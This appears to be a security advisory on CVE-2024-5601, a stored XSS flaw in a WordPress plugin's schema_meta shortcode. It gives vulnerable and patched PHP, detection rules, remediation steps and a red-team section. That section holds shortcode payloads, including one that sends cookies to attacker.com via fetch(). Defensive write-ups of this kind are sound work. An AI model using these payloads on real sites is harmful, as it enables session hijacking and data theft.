CVE-2024-5601

Executive Summary

CVE-2024-5601 is a Stored Cross-Site Scripting (XSS) vulnerability in the Create by Mediavine plugin for WordPress, affecting all versions up to and including 1.9.7. The flaw resides in the plugin's schema_meta shortcode, where user-supplied attributes are insufficiently sanitized and escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a victim (e.g., an administrator or site visitor) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

Given the WordPress ecosystem context, this vulnerability is particularly dangerous because contributor-level access is often granted to multiple users, and the injected payload persists in the database until manually removed. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but the lack of a patch increases risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are running version 1.9.7 or earlier and check for updates. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): None (N) – No victim interaction needed for injection.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability exists in the schema_meta shortcode handler of the Create by Mediavine plugin. The shortcode accepts user-supplied attributes (e.g., name, description, image) and directly outputs them into the page without proper sanitization or escaping. WordPress's built-in shortcode attribute handling does not automatically escape HTML, and the plugin fails to apply functions like esc_attr() or wp_kses().

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the shortcode [schema_meta name="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the unsanitized attribute into the HTML.
4. When any user (including admins) views the page, the script executes in their browser.

Root Cause: Lack of output escaping on shortcode attributes. The plugin likely uses echo $atts['name'] instead of echo esc_attr($atts['name']).

Vulnerable vs. Patched Code

Vulnerable Code (version 1.9.7):

function schema_meta_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
        'description' => '',
        'image' => ''
    ), $atts);
    // Direct output without escaping
    echo '<div class="schema-meta" itemprop="name">' . $atts['name'] . '</div>';
    echo '<div class="schema-meta" itemprop="description">' . $atts['description'] . '</div>';
    echo '<div class="schema-meta" itemprop="image">' . $atts['image'] . '</div>';
}
add_shortcode('schema_meta', 'schema_meta_shortcode');

Patched Code (hypothetical fix):

function schema_meta_shortcode($atts) {
    $atts = shortcode_atts(array(
        'name' => '',
        'description' => '',
        'image' => ''
    ), $atts);
    // Properly escape output
    echo '<div class="schema-meta" itemprop="name">' . esc_html($atts['name']) . '</div>';
    echo '<div class="schema-meta" itemprop="description">' . esc_html($atts['description']) . '</div>';
    echo '<div class="schema-meta" itemprop="image">' . esc_url($atts['image']) . '</div>';
}
add_shortcode('schema_meta', 'schema_meta_shortcode');

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Create by Mediavine plugin <= 1.9.7
• Authenticated session with contributor-level access or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [schema_meta name="<script>alert(document.cookie)</script>"]
   

4. Publish or save the post.
5. When an administrator or visitor views the post, the JavaScript executes.

Advanced Payload (session hijacking):

[schema_meta name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Defender)

Detection:

• Monitor for posts containing [schema_meta shortcode with suspicious attributes (e.g., <script>, onerror, javascript:).
• Review user activity logs for contributors creating posts with unusual shortcode usage.

Hunting:

• Query the WordPress database for posts with shortcode attributes containing HTML/JavaScript:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[schema_meta%<script%';
  

• Use a web application firewall (WAF) to block requests containing <script> in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/create-by-mediavine/ (presence of vulnerable plugin)
• Database: Posts containing [schema_meta with unescaped HTML/JavaScript
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug log entries showing shortcode processing errors

Detection Engineering

YARA Rule

rule CVE_2024_5601_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Create by Mediavine shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5601"
    strings:
        $shortcode = /\[schema_meta\s+[^\]]*?name\s*=\s*["'][^"']*?<script[^>]*?>/
        $payload = /<script[^>]*?>.*?<\/script>/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-5601 Stored XSS via Create by Mediavine Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WordPress posts using the schema_meta shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[schema_meta'
        http.body|re: '<script[^>]*?>.*?</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5601 Stored XSS via Create by Mediavine Shortcode"; flow:to_server,established; content:"[schema_meta"; http_client_body; pcre:"/<script[^>]*?>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict contributor-level access.
2. Manually sanitize shortcode attributes by adding esc_html() and esc_url() to the plugin code (see patched code above).
3. Use a Web Application Firewall (WAF) to block requests containing <script> in shortcode attributes.

Long-term Fix:

• The vendor (Mediavine) should release a patched version (1.9.8 or later) that properly escapes shortcode output.
• Until then, consider replacing the plugin with an alternative that handles schema markup securely.

Detection:

• Implement the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
• Regularly scan WordPress posts for malicious shortcode usage.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert